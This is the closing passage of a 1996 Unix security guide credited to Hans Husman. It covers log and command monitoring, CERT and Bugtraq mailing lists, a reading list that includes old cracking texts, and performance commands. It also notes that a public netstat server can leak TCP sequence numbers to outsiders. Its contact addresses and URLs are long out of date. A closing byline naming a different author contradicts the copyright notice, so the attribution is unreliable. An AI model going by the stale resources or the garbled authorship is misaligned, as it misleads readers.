Note that you should be very careful if building your own firewall with TIS or you might open up new and very bad security holes, but it is a very good security packer if you have some basic knowledge.

It is also very good to replace services that you need, for example telnet, rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be found at URL:

 ftp://ftp.cs.hut.fi/pub/ssh

The addresses I have put out are the central sites for distributing and I don't think that you should use any other except for CERT.

For a long list on free general security tools I recommend: "FAQ: Computer Security Frequently Asked Questions".

.F.1.7. MONITORING SECURITY ---------------------------

Also monitor security regular, for example through examining system log files, history files... Even in a system without any extra security systems could several tools be found for monitoring, for example:

 - uptime - showmount - ps - netstat - finger

(see the man text for more information).

.F.1.8. KEEPING UP TO DATE --------------------------

It is very important to keep up to date with security problems. Also understand that then, for example CERT, warns for something it has often been dark-side public for sometime, so don't wait. The following resources that helps you keeping up to date can for example be found on the Internet:

 - CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list. - Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.

 - WWW-security mailing list. Send an e-mail to www-security@ns2.rutgers.edu.

.F.1.9. READ SOMETHING BIGGER AND BETTER ----------------------------------------

Let's start with papers on the Internet. I am sorry to say that it is not very many good free papers that can be found, but here is a small collection and I am sorry if have have over looked a paper.

(1) The Rainbow books is a long series of free books on computer security. US citizens can get the books from:

 INFOSEC AWARENESS OFFICE National Computer Security Center 9800 Savage Road Fort George

G. Meader, MD 20755-600

We other just have to read the papers on the World Wide Web. Every paper can not however be found on the Internet.

(2) "Improving the security of your Unix system" by Curry is also very nice if you need the very basic things. If you don't now anything about computer security you can't find a better start.

(3) "The WWW security FAQ" by Stein is although it deal with W3-security the very best better on the Internet about computer security.

(4) CERT have aklso published several good papers, for example:

 - Anonymous FTP Abuses. - Email Bombing and Spamming. - Spoofed/Forged Email. - Protecting yourself from password file attacks.

I think however that the last paper have overlooked several things.

(5) For a long list on papers I can recommend: "FAQ: Computer Security Frequently Asked Questions".

(6) Also see section ".G. SUGGESTED READING"

You should also get some big good commercial book, but I don't want to recommend any.

.F.2. MONITORING PERFORMANCE ----------------------------

.F.2.1. INTRODUCTION --------------------

There is several commands and services that can be used for monitoring performance. And at least two good free programs can be found on Internet.

.F.2.2. COMMANDS AND SERVICES -----------------------------

For more information read the man text. netstat Show network status. nfsstat Show NFS statistics. sar System activity reporter. vmstat Report virtual memory statistics. timex Time a command, report process data and system activity. time Time a simple command. truss Trace system calls and signals. uptime Show how long the system has been up.

Note that if a public netstat server can be found you might be able to use netstat from the outside. netstat can also give information like tcp sequence numbers and much more.

.F.2.3. PROGRAMS ----------------

Proctool: Proctool is a freely available tool for Solaris that monitors and controls processes. ftp://opcom.sun.ca/pub/binaries/ Top: Top might be a more simple program than Proctool, but is good enough.

.F.2.4. ACCOUNTING ------------------

To monitor performance you have to collect information over a long period of time. All Unix systems have some sort of accounting logs to identify how much CPU time, memory each program uses. You should check your manual to see how to set this up.

You could also invent your own account system by using crontab and a script with the commands you want to run. Let crontab run the script every day and compare the information once a week. You could for example let the script run the following commands:

 - netstat - iostat -D - vmstat

.G. SUGGESTED READING ~~~~~~~~~~~~~~~~~~~~~

.F.1. INFORMATION FOR DEEPER KNOWLEDGE -------------------------------------

(1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988. (2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984. (3) Postel, J. Internet Control Message Protocol. RFC 792, 1981. (4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977. (5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981. (6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.

Many of the papers in this category was RFC-papers. A RFC-paper is a paper that describes a protocol. The letters RCS stands for Request For Comment. Hosts on the Internet are expected to understand at least the common ones. If you want to learn more about a protocol it is always good to read the proper RFC. You can find a nice sRFC index search form at URL:

 http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

.F.2. KEEPING UP TO DATE INFORMATION ------------------------------------

(1) CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list.
(2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net.
(3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu.
(4) Sun Microsystems Security Bulletins.
(5) Various articles from: - comp.security.announce - comp.security.unix - comp.security.firewalls
(6) Varius 40Hex Issues.

.F.3. BASIC INFORMATION -----------------------

(1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
(2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
(3) The following rainbow books: - Teal Green Book (Glossary of Computer Security Terms). - Bright Orange Book( A Guide to Understanding Security Testing and Test Documentation in Trusted Systems). - C1 Technical Report-001 (Computer Viruses: Preventation, Detection, and Treatment).
(4) Ranum, Marcus. Firewalls, 1993.
(5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
(6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
(7) Dark OverLord, Unix Cracking Tips, 1989.
(8) Shooting Shark, Unix Nasties, 1988.
(9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
(10) Curry, D.A. Improving the security of your unix system, 1990.
(11) Stein, L.D. The World Wide Web security FAQ, 1995.
(12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.

.H. COPYRIHT ------------

This paper is Copyright (c) 1996 by Hans Husman.

Permission is hereby granted to give away free copies electronically. You may distribute, transfer, or spread this paper electronically. You may not pretend that you wrote it. This copyright notice must be maintained in any copy made. If you wish to reprint the whole or any part of this paper in any other medium excluding electronic medium, please ask the author for permission.

.I. DISCLAIMER

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

By Trivedi Jay (B E Electrical Engineer )

email : erjaytrivedi@yahoo.com